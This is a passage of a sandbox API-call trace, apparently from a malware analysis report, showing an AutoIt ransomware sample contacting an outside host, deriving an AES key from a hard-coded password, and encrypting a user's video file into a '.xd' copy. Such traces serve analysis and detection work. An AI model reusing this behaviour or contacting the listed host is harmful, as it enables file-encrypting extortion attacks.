lpMsg=0x130f614) returned 0 [0079.681] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0079.681] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.681] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0079.681] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0079.681] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.681] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0079.681] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0079.681] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c) returned 1 [0079.682] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.682] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0079.682] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0079.682] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0079.682] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0079.682] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0079.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629240, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629240*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0079.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0079.682] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.682] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.682] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0079.682] CloseHandle (hObject=0x0) returned 0 [0079.682] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.682] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0079.683] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0079.683] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.683] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.683] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.683] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.683] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0079.683] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.683] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0079.683] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.683] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.683] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0079.683] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.683] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.683] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.683] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.683] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.683] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0079.683] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0079.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0079.684] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0079.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0079.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164dfb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0079.684] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0079.684] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631f68) returned 1 [0079.684] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.684] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.684] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0079.685] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.685] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.685] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.685] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.685] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.685] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.685] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.685] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.685] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.685] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.685] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.685] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.687] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0079.687] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.687] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.687] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.687] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.687] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.688] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.688] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.688] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.688] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.688] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.688] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.688] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.688] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.688] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.688] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.688] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.688] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.688] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.688] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0079.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0079.688] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0079.688] CryptCreateHash (in: hProv=0x1631f68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0079.688] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.688] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.688] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.689] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629500, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0079.689] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0079.689] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0079.689] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.689] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.689] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.689] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0079.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621900, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0079.689] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0079.689] CryptHashData (hHash=0x164c4f0, pbData=0x1629430, dwDataLen=0x3, dwFlags=0x1) returned 1 [0079.689] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.689] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.689] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.689] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.689] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.689] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.690] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.690] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0079.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621768, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0079.690] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0079.690] CryptDeriveKey (in: hProv=0x1631f68, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c770) returned 1 [0079.690] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.690] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.690] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.690] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.690] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.690] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.690] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0079.690] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0079.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0079.690] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0079.690] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0079.691] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.691] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.691] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.691] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.691] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.691] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\9qzv trooam.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0079.691] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.691] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0079.691] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.691] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.691] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.691] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6")) returned 0x10 [0079.692] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\9qzv trooam.flv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0079.692] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.692] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.692] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.692] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.694] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0079.694] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x2621, lpOverlapped=0x0) returned 1 [0079.695] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0079.696] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.696] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.696] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 